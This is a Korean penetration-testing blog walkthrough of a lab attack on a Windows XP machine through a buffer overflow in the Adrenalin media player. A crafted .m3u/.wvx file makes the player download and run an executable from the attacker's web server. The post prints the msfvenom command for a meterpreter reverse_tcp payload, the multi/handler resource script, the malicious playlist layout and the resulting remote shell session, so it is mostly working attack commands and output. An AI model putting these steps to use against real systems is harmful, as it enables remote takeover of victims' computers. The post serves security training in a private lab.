Linux/모의해킹

아드레날린 프로그램 취약점을 이용한 Reverse Shell 연결하기

GGkeeper 2022. 1. 4. 20:07

실습> 소프트웨어 취약점을 이용한  reverse shell 연결하기

Victim : Win XP  192.168.108.105
Attacker : Kali 192.168.108.102

취약한 프로그램 : 아드레날린 BOF(SEH)

소프트웨어 취약점을 이용한 공격은 프로그램을 제작한 제작자의 실수로 프로그램 내에 
들어있는 결함을 얘기하며 공격자는 이런 제로데이 취약점을 발견하면 그 결함 부분에 
악성행위를 하는 코드를 삽입하여 실행되게 함으로써 사용자를 위험에 처하게 할 수 있다.

-- 순서 --
1. 동영상 프로그램 실행 
2. wvx 메타파일 오픈 
3. 계산기 쉘코드 실행
4. 웹서버 계산기 다운로드 & 실행
-- 순서 --

1. 동영상 프로그램 실행 
- 설치된 동영상 프로그램인 아드레날린을 실행한다.
  이 프로그램은 버퍼가 넘쳐서 문제를 일으키는 BOF(Buffer Over Flow) 취약점을 가지고 있다.

2. wvx 메타파일 오픈 
- 아드레날린에서 실행시킨 후 wvx 파일을 오픈한다.
  wvx 파일은 동영상이 재생될 미디어 파일인 asf,wma,wmv에 대한 정보를 기술한 메타파일이다.  

3. 계산기 쉘코드 실행
- 이 메타파일에는 정상 파일이 아닌 계산기 쉘코드가 저장되어 있어 프로그램 실행 시
  프로그램이 입력받을 수 있는 크기를 넘겨 BOF(Buffer Over Flow) 취약점을 발생시킨다.
  따라서 BOF가 일어나는 부분에 계산기 쉘코드를 삽입하면 프로그램이 종료되면서 계산기가 실행된다.

4. 원격 웹서버 계산기 다운로드 후 실행
- 3번에서 BOF가 발생되면서 프로그램이 비정상적으로 종료가 되고 파일 내부에 있는 계산기 코드가 
  실행되었다면 이 부분에 다른 형태의 쉘코드를 삽입하면 실행된다는 의미이다.
  따라서 4번에서 실습할 것은 쉘코드 부분에 원격 웹서버에 업로드한 계산기를 다운로드 받고 저장한 
  다음 계산기가 실행되는 것을 확인할 것이다.

-- 실습 순서 --
1. wvx 메타파일 수정
2. 계산기 업로드
3. c:\ 폴더 확인
4. 동영상 프로그램 실행 
5. 웹서버 계산기 다운로드 & 실행
6. 계산기 다운로드 확인
-- 실습 순서 --

1. wvx 메타파일 수정
HxD.exe Hex Editor 프로그램으로 편집한다.
맨 마지막에 Attacker's IP주소와 다운로드 받을 실행파일명을 삽입한다.

2. 계산기 업로드
Victim : Win XP  192.168.108.105
c:\> copy c:\windows\system32\calc.exe C:\APM_Setup\htdocs
c:\> ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.8.2


Attacker# cd /var/www/html
Attacker:/var/www/html# wget 192.168.108.105/calc.exe

3. c:\ 폴더 확인
c:\ 폴더에 계산기 프로그램을 확인한다. 현재는 없다.

4. 동영상 프로그램 실행 
아드레날린을 실행한다.

5. 웹서버 계산기 다운로드 & 실행
바탕화면에 있는 수정된 adrenalin2.m3u 를 실행하면 Attacker 의 웹서버에 올려둔
calc.exe를 다운받아서 c:\ 저장하고 이를 실행한다.

계산기가 실행되면 된다.

6. 계산기 다운로드 확인
c:\ 폴더를 확인하면 x.exe 로 계산기 프로그램이 저장된걸 볼 수 있다.

실습> 소프트웨어 취약점을 이용한 reverse shell 연결하기
공격 개요 : 
Victim 이 adrenalin 을 실행해서 adrenalin3.m3u 파일을 여는 순간 Attacker 의
공격 포트로 reverse shell 로 연결해서 Victim이 Attacker에게 시스템을 탈취하게 된다.
구현방법    : 메타스플로잇을 이용해서 구현한다.
공격용 파일 : adrenalin3.m3u

 

1. Attacker 정보 확인
공격자의 IP주소 정보를 확인한다.
Attacker# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.108.102  netmask 255.255.255.0  broadcast 192.168.8.255
        inet6 fe80::6cf4:de6f:6111:6b05  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:7b:54:33  txqueuelen 1000  (Ethernet)
        RX packets 5585  bytes 1446031 (1.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6035  bytes 2739259 (2.6 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000

2. 악성 실행파일 생성
msfvenom 을 이용해서 공격코드를 생성한다. 
lhost : Attacker's IP address 
lport : Attacker's listen port
Attacker# msfvenom -p windows/meterpreter/reverse_tcp \
lhost=192.168.108.102 lport=4444 -f exe -o /var/www/html/malware.exe

3. 공격 대기
Attakcer# vi malware.rc
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
exploit
Attakcer# msfconsole -r malware.rc
  :
  :(생략)
resource (malware.rc)> exploit
[*] Started reverse TCP handler on 192.168.108.102:4444 


4. 웹서버 실행
웹서버를 실행해서 클라이언트가 악성파일을 받아갈 수 있도록 한다.
Attacker# /etc/init.d/apache2 start

5. wvx 메타파일 수정
HxD.exe Hex Editor 프로그램으로 편집한다.
맨 마지막에 Attacker's IP주소와 다운로드 받을 실행파일명을 삽입한다.
ex)
-- adrenalin3.m3u --
90 90 90 90 ...
  :
  : (생략)
http://192.168.108.102/malware.exe
-- adrenalin3.m3u --

6. 동영상 프로그램 실행 
아드레날린을 실행한다.

7. 웹서버 계산기 다운로드 & 실행
바탕화면에 있는 수정된 adrenalin2.m3u 를 실행하면 Attacker 의 웹서버에 올려둔
malware.exe를 다운받아서 c:\x.exe 저장하고 이를 실행한다.

공격자에게 달라 붙는다.

msf exploit(handler) >
[*] Sending stage (179267 bytes) to 192.168.108.105
[*] Meterpreter session 2 opened (192.168.108.102:4444 -> 192.168.108.105:3101) at 2018-03-28 05:56:40 +0000

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                     Information                      Connection
  --  ----                     -----------                      ----------
  1   meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WINXP  192.168.108.102:4444 -> 192.168.108.105:3089 (192.168.108.105)
  2   meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WINXP  192.168.108.102:4444 -> 192.168.108.105:3101 (192.168.108.105)

msf exploit(handler) > sessions 2
[*] Starting interaction with 2...

8. meterpreter 쉘 확인
Victim 의 PC를 장악하고 제어한다.

meterpreter > sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 2184 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\adrenalin\Skin>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ▒▒▒▒ ▒▒▒▒ ▒▒▒▒:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.108.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.8.2

'Linux > 모의해킹' 카테고리의 다른 글

쉘스크립트를 활용한 공격 1 & 2  (0) 2022.01.04
Download_exec Payload  (0) 2022.01.04
Wireshark 공격하기  (0) 2022.01.04
Windows 에서 만든 코드를 리눅스에서 실행하기 (od 명령어)  (0) 2022.01.04
PoC 란??  (0) 2022.01.04